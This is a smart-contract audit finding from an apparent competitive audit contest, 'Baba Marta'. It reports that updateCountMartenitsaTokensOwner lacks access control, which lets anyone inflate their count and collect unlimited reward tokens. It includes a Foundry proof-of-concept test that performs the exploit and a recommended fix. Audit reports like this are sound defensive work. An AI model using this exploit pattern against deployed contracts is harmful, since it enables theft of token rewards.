First Flight #13: Baba Marta
First Flight #13
Beginner FriendlyFoundryGameFi
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

updateCountMartenitsaTokensOwner() can be called by anyone causing limitless collectReward

Nocturnus

Summary

updateCountMartenitsaTokensOwner is used to update countMartenitsaTokensOwner mapping

Vulnerability Details

The function doesn't have any access controls and can be called by anyone.

Impact

marketplace.collectReward() function distribute the Health Tokens based on the countMartenitsaTokensOwner mapping. Since this mapping can be manipulated by anyone limitless Health tokens can be gained by anyone.

function testEndlessHT() public activeEvent eligibleForReward {
assertEq(3, martenitsaEvent.countMartenitsaTokensOwner(bob));
assertEq(0, healthToken.balanceOf(bob));
vm.startPrank(bob);
martenitsaEvent.updateCountMartenitsaTokensOwner(bob, "add");
martenitsaEvent.updateCountMartenitsaTokensOwner(bob, "add");
martenitsaEvent.updateCountMartenitsaTokensOwner(bob, "add");
console.log("martenitsaEvent.countMartenitsaTokensOwner(bob)", martenitsaEvent.countMartenitsaTokensOwner(bob));
assertEq(6, martenitsaEvent.countMartenitsaTokensOwner(bob));
marketplace.collectReward();
assertEq(2 * 10 ** 18, healthToken.balanceOf(bob));
vm.stopPrank();
}

Tools Used

foundry
vs code

Recommendations

Calling this function within buyMartenitsa or makePresent doesn't increase/decrease balanceOf(user) which causes mismatch between balanceOf(owner) and countMartenitsaTokensOwner[owner]. Instead of saving the count of MartinitsaTokens in countMartenitsaTokensOwner mapping it would be better to use balanceOf(owner) for tracking the no of NFTs per user... updateCountMartenitsaTokensOwner is called within functions makePresent and buyMartenitsa, they also change balanceOf(owner) accordingly. i.e. safeTransferFrom().

Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Missing access control

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.